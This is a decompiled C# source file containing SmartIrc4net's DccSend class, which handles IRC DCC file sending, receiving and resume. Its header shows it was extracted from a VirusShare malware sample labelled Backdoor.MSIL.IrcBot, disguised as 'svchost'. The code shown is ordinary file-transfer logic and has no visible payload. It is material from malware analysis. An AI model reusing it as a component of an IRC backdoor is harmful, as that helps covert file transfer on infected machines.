// Decompiled with JetBrains decompiler
// Type: Meebey.SmartIrc4net.DccSend
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace Meebey.SmartIrc4net
{
  public class DccSend : DccConnection
  {
    private Stream _File;
    private long _Filesize;
    private string _Filename;
    private bool _DirectionUp;
    private long _SentBytes;
    private DccSpeed _Speed;
    private byte[] _Buffer = new byte[8192];

    public long SentBytes => this._SentBytes;

    internal DccSend(
      IrcFeatures irc,
      string user,
      IPAddress externalIpAdress,
      Stream file,
      string filename,
      long filesize,
      DccSpeed speed,
      bool passive,
      Priority priority)
    {
      this.Irc = irc;
      this._DirectionUp = true;
      this._File = file;
      this._Filesize = filesize;
      this._Filename = filename;
      this._Speed = speed;
      this.User = user;
      if (passive)
      {
        irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) filesize + " " + (object) this.session, priority);
      }
      else
      {
        this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
        this.DccServer.Start();
        this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
        irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) filesize, priority);
      }
    }

    internal DccSend(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
    {
      this.Irc = irc;
      this._DirectionUp = false;
      this.User = e.Data.Nick;
      if (e.Data.MessageArray.Length > 4)
      {
        long result1 = 0;
        int result2 = 0;
        long result3;
        bool flag1 = long.TryParse(e.Data.MessageArray[3], out result3);
        bool flag2 = int.TryParse(e.Data.MessageArray[4], out result2);
        if (e.Data.MessageArray.Length > 5)
        {
          long.TryParse(this.FilterMarker(e.Data.MessageArray[5]), out result1);
          this._Filesize = result1;
          this._Filename = e.Data.MessageArray[2].Trim('"');
        }
        if (flag1 && flag2)
        {
          this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result3)), result2);
          this.DccSendRequestEvent(new DccSendRequestEventArgs((DccConnection) this, e.Data.MessageArray[2], result1));
        }
        else
          irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send Parameter Error");
      }
      else
        irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send not enough parameters");
    }

    internal override void InitWork(object stateInfo)
    {
      if (!this.Valid)
        return;
      if (this.DccServer != null)
      {
        this.Connection = this.DccServer.AcceptTcpClient();
        this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
        this.DccServer.Stop();
        this.isConnected = true;
      }
      else
      {
        while (!this.isConnected)
        {
          Thread.Sleep(500);
          if (this.reject)
            return;
        }
      }
      this.DccSendStartEvent(new DccEventArgs((DccConnection) this));
      if (this._DirectionUp)
      {
        int num;
        do
        {
          while (this.Connection.Available > 0)
          {
            switch (this._Speed)
            {
              case DccSpeed.Rfc:
                this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
                continue;
              case DccSpeed.RfcSendAhead:
                this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
                continue;
              default:
                continue;
            }
          }
          num = this._File.Read(this._Buffer, 0, this._Buffer.Length);
          try
          {
            this.Connection.GetStream().Write(this._Buffer, 0, num);
          }
          catch (IOException ex)
          {
            num = 0;
          }
          this._SentBytes += (long) num;
          if (num > 0)
          {
            this.DccSendSentBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
            Console.Write(".");
          }
        }
        while (num > 0);
      }
      else
      {
        int num;
        while ((num = this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length)) > 0)
        {
          this._File.Write(this._Buffer, 0, num);
          this._SentBytes += (long) num;
          if (this._Speed != DccSpeed.Turbo)
            this.Connection.GetStream().Write(this.getAck(this._SentBytes), 0, 4);
          this.DccSendReceiveBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
        }
      }
      this.isValid = false;
      this.isConnected = false;
      Console.WriteLine("--> Filetrangsfer Endet / Bytes sent: " + (object) this._SentBytes + " of " + (object) this._Filesize);
      this.DccSendStopEvent(new DccEventArgs((DccConnection) this));
    }

    public bool AcceptRequest(Stream file, long offset)
    {
      if (this.isConnected)
        return false;
      try
      {
        if (file != null)
          this._File = file;
        if (this.RemoteEndPoint.Port == 0)
        {
          this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
          this.DccServer.Start();
          this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
          this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC SEND \"" + this._Filename + "\" " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) this._Filesize);
        }
        else if (offset == 0L)
        {
          this.Connection = new TcpClient();
          this.Connection.Connect(this.RemoteEndPoint);
          this.isConnected = true;
        }
        else if (this._File.CanSeek)
        {
          this._File.Seek(offset, SeekOrigin.Begin);
          this._SentBytes = offset;
          this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
        }
        else
        {
          this._SentBytes = offset;
          this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
        }
        return true;
      }
      catch (Exception ex)
      {
        this.isValid = false;
        this.isConnected = false;
        return false;
      }
    }

    internal bool TryResume(CtcpEventArgs e)
    {
      if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
      {
        if (this._Filename == e.Data.MessageArray[2].Trim('"'))
        {
          long result = 0;
          long.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result);
          if (this._File.CanSeek)
          {
            if (e.Data.MessageArray.Length > 5)
              this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + e.Data.MessageArray[4] + " " + this.FilterMarker(e.Data.MessageArray[5]));
            else
              this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + this.FilterMarker(e.Data.MessageArray[4]));
            this._File.Seek(result, SeekOrigin.Begin);
            this._SentBytes = result;
            return true;
          }
          this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "ERRMSG DCC File not seekable");
        }
      }
      return false;
    }

    internal bool TryAccept(CtcpEventArgs e)
    {
      if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
      {
        if (this._Filename == e.Data.MessageArray[2].Trim('"'))
          return this.AcceptRequest((Stream) null, 0L);
      }
      return false;
    }

    internal bool SetRemote(CtcpEventArgs e)
    {
      int result1 = 0;
      long result2;
      bool flag1 = long.TryParse(e.Data.MessageArray[3], out result2);
      bool flag2 = int.TryParse(e.Data.MessageArray[4], out result1);
      if (!flag1 || !flag2)
        return false;
      this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result2)), result1);
      return true;
    }
  }
}
